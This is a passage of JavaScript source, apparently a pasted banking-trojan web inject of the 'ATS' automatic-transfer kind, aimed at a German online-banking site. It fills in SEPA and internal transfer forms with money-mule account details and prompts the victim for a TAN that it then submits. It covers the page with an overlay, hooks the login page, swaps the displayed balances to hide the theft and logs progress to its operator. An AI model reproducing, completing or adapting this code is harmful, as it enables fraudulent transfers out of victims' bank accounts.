  1722.     var face=jq('#javax\\.faces\\.ViewState').val();
  1723.     var kit=jq('input[name=javax\\.faces\\.RenderKitId]').val()
  1724.     var url=location.href;
  1725.     var params={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
  1726. var params2={processIds: "f1-kontoIdentifier,f1-bankIdentifier,f1-ajaxEventOnBlurOfKontoIdentifier",renderIds: "f1-institut,f1-messages,f1-empfaengerNameLabelCell,f1-kontoIdentifierLabelCell,f1-bankIdentifierLabelCell,f1-betragLabelCell","f1-ajaxEventOnBlurOfKontoIdentifier": "f1-ajaxEventOnBlurOfKontoIdentifier","f1-kontoIdentifier" : drop.Konto}
  1727. var params=jq.extend(params,params2)
  1728.  
  1729.     setTimeout(function(){
  1730. jq.ajax({url: url, type: 'POST', data:params, cache: false, dataType: 'html', success: function(html){
  1731.     } });
  1732.     }, ATS.randInt(2000, 3000));    
  1733.  //----------------  
  1734.  
  1735.       var params3={"javax.faces.RenderKitId" : kit,"javax.faces.ViewState":face}
  1736. var params4={processIds: "f1-kontoIdentifier,f1-bankIdentifier,f1-ajaxEventOnBlurOfKontoIdentifier",renderIds: "f1-institut,f1-messages,f1-empfaengerNameLabelCell,f1-kontoIdentifierLabelCell,f1-bankIdentifierLabelCell,f1-betragLabelCell","f1-ajaxEventOnBlurOfKontoIdentifier": "f1-ajaxEventOnBlurOfKontoIdentifier","f1-bankIdentifier":drop.BLZ,"f1-kontoIdentifier" : drop.Konto}
  1737. var params3=jq.extend(params3,params4)
  1738.  
  1739.     setTimeout(function(){
  1740. jq.ajax({url: url, type: 'POST', data:params3, cache: false, dataType: 'html', success: function(html){
  1741.     } });
  1742.     }, ATS.randInt(5000, 6000));    
  1743.    
  1744.    
  1745.    
  1746.    
  1747.    
  1748.     var sellist1=jq('#f1-quellKontenSelect option:selected').val();
  1749.     var sellist2=jq('#f1-zielKontenSelect option:selected').val();
  1750. if ((sellist1=='') || (sellist2=='')){    
  1751.      
  1752.         ATS.die('No account selected, possible from this account can not be transferred');
  1753.      }
  1754.     parent.ATS.StepInFrame.set_current_state("INT_form_filled");
  1755.     ATS.sendLogMsg('INT form filled in');    
  1756.         setTimeout(function(){
  1757.             jq('#f1').submit();
  1758.         }, ATS.randInt(10000, 15000));
  1759.  
  1760.  
  1761.  
  1762. }
  1763.  
  1764.  
  1765.  
  1766. ATS.enterCode = function(tan)
  1767. {
  1768.     ATS.debugMsg('ATS.enterCode ' + tan);
  1769.    
  1770.    
  1771.     if (jq('div[id*="f1"] input').length)
  1772.     {
  1773.         jq('div[id*="f1"] input').val(tan);
  1774.        
  1775.         if ( jq('#f1').length)
  1776.         {
  1777.             //parent.ATS.current_state = 120;
  1778.             parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
  1779.             parent.ATS.UI_showWait();
  1780.                                
  1781.  
  1782.             jq('#f1').append('<input class="deleteAfterSubmit" type="hidden" value="f1" name="f1">');
  1783.             jq('#f1').append('<input class="deleteAfterSubmit" type="hidden" value="f1-j_idt158-lnk" name="f1-j_idt158-lnk">');
  1784.            //jq('#uebForm').append('<input type="hidden" value="uebForm-freigeben-lnk" name="uebForm-freigeben-lnk">');
  1785.            jq('#f1').submit();
  1786.          
  1787.            
  1788.            
  1789.         }
  1790.         else
  1791.             ATS.die('enterCode: cant find  next button');
  1792.     }
  1793.     else
  1794.         ATS.die('enterCode: cant find tan field ');
  1795. }
  1796.  
  1797.  
  1798.  
  1799. ATS.frameWork = function()
  1800. {
  1801.     ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
  1802.     ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
  1803.     switch (ATS.StepInFrame[parent.ATS.current_state])
  1804.     {
  1805.  
  1806.         case "framePageFinanzstatus":
  1807.             ATS.framePageFinanzstatus();
  1808.             break;
  1809.            
  1810.        
  1811.         case "KreditlimitPage":
  1812.             ATS.KreditlimitPage();
  1813.             break;
  1814.        
  1815.         case "insideGirokonto":
  1816.             ATS.insideGirokonto();
  1817.             break;            
  1818.            
  1819.            
  1820.    
  1821.         case "SEPA_page":
  1822.             ATS.framePageSEPA_page();
  1823.             break;
  1824.            
  1825.  
  1826.         case "framePageInternal_transf_page":
  1827.             ATS.framePageInternal_transf_page();
  1828.             break;
  1829.  
  1830.         case "randomPage":
  1831.             ATS.randomPage();
  1832.             break;
  1833.            
  1834.         case "inside_randomPage":
  1835.             ATS.inside_randomPage();
  1836.             break;
  1837.            
  1838.         case "gotomainpage":
  1839.             ATS.gotomainpage();
  1840.             break;
  1841.            
  1842.            
  1843.            
  1844.  
  1845.         case "SEPA_form_filled":
  1846.        
  1847.             var textEl=jq('#f1-messages:visible');
  1848.            
  1849.             if (!textEl.length)
  1850.             {
  1851.    
  1852.                  ATS.UI_askTan();
  1853.                        
  1854.             }
  1855.                 else {
  1856.            
  1857.                     ATS.die('Error fill SEPA form: ' + textEl.text() );
  1858.                   }
  1859.            
  1860.             break;
  1861.            
  1862.  
  1863.            
  1864.  
  1865.         case "INT_form_filled":
  1866.             var textEl=jq('#f1-messages:visible');
  1867.            
  1868.             if (!textEl.length)
  1869.             {
  1870.    
  1871.                  ATS.UI_askTan();
  1872.                        
  1873.             }
  1874.                 else {
  1875.                     ATS.die('Error fill INT form: ' + textEl.text() );
  1876.                   }
  1877.            
  1878.             break;
  1879.            
  1880.            
  1881.  
  1882.         case "TAN_ENTERED":
  1883.        
  1884.         ATS.debugMsg("TAN_ENTERED");
  1885.  
  1886.        
  1887.         //if (!!jq('.uiMessages:visible','.errorMessage:visible').length)
  1888.         var textEl=jq('#f1-messages:visible');
  1889.         if (!!textEl.length)
  1890.         {
  1891.             parent.ATS.badTan = true;
  1892.             ATS.UI_askTan();
  1893.    
  1894.                 }
  1895.        else {  
  1896.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();    else ATS.framePageReceiptInternal();
  1897.        
  1898.        
  1899.        }
  1900.  
  1901.        
  1902.             break;                        
  1903.    
  1904.        
  1905.     }
  1906. }
  1907.  
  1908.  
  1909. if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  1910. {
  1911.     document.write('<div class="inj_full_overlay"></div>');
  1912.  
  1913.    
  1914.     jq(document).ready(function(){
  1915.         ATS.debugMsg('document loaded');
  1916.  
  1917. loc=jq("body").attr("class");
  1918. loc=loc.replace("topframechecker:{},","");
  1919. jq("body").attr("class",loc);
  1920.        
  1921.        
  1922.         //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
  1923.        
  1924.  
  1925.     ATS.loadData(function(data){
  1926.  
  1927.         if (ATS.account_id != 0)
  1928.         {  
  1929.      
  1930.             switch (ATS.getCookie('status')) {
  1931.                case "1":
  1932.                   if (ATS.isLoggedIn()) {jq(".column2").hide();jq('.inj_full_overlay').remove(); ATS.replaceBalances(); }
  1933.                   else jq('.inj_full_overlay').remove();
  1934.                  
  1935.                  
  1936.                   break;
  1937.                case "2":
  1938.                ATS.debugMsg('case "2"');
  1939.                
  1940.                
  1941.               if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=48) {
  1942.                 ATS.setCookie('status',0);
  1943.                 ATS.saveCookies();
  1944.                 ATS.sendLogMsg('Replace cookie status from 2 on 0');
  1945.                 jq('.inj_full_overlay').remove();
  1946.               } else {jq('.inj_full_overlay').remove(); break;}
  1947.              
  1948.              
  1949.                default:
  1950.                
  1951.                         if (ATS.checkLoginPage())
  1952.                         {
  1953.                             ATS.debugMsg('login page');
  1954.                             ATS.setLoginHook();
  1955.                             jq('.inj_full_overlay').remove();
  1956.                             break;
  1957.                         }                          
  1958.                        
  1959.                      
  1960.                         if (ATS.isLoggedIn())
  1961.                         {
  1962.                             ATS.debugMsg('logged in!');
  1963.                            
  1964.  
  1965.                     var t =jq('ul.activeNotificationAction a').text();
  1966.                     if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
  1967.                         ATS.debugMsg('TAN locked!');
  1968.                         ATS.die("TAN locked!");
  1969.                         jq('.inj_full_overlay').remove();
  1970.                         break;
  1971.                     }
  1972.                          
  1973.                            
  1974.                        
  1975.                             if ((parent.document !== document) && parent.ATS)
  1976.                             {
  1977.                                 ATS.debugMsg('we are in frame!');
  1978.                                 ATS.frameWork();
  1979.                                 jq('.inj_full_overlay').remove();
  1980.                                 break;
  1981.                             }
  1982.                             else
  1983.                             {
  1984.                                 jq('.inj_full_overlay').remove();
  1985.                                
  1986.                                 var cssLink = document.createElement("link")
  1987.                                 cssLink.href = ATS.CONTENT_URL+"/all_styles_min.css";
  1988.                                 cssLink.rel = "stylesheet";
  1989.                                 cssLink.type = "text/css";
  1990.                                 jq('body', parent.document).prepend(cssLink);
  1991.  
  1992.                                
  1993.                                
  1994.                                 ATS.UI_blockSite();
  1995.                                 ATS.UI_showWait();
  1996.                                 ATS.mainWork();
  1997.                                 break;
  1998.                             }
  1999.                         }
  2000.                         else
  2001.                         {
  2002.                             if ((parent.document !== document) && parent.ATS)
  2003.                             {
  2004.                                 ATS.debugMsg('we are in frame and not logged in!');
  2005.                             }
  2006.                         }              
  2007.                
  2008.                
  2009.                     break;
  2010.             }
  2011.          
  2012.            
  2013.  
  2014.         }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
  2015.        
  2016.        
  2017.  
  2018.     });
  2019.      
  2020.        
  2021.  
  2022.        
  2023.  
  2024.     });
  2025. }
  2026.  
  2027.  
  2028.  
  2029.  
  2030.  
  2031.  
  2032.  
  2033.  
  2034.  
  2035. }//if parent.hasAts
Add Comment
Please, Sign In to add comment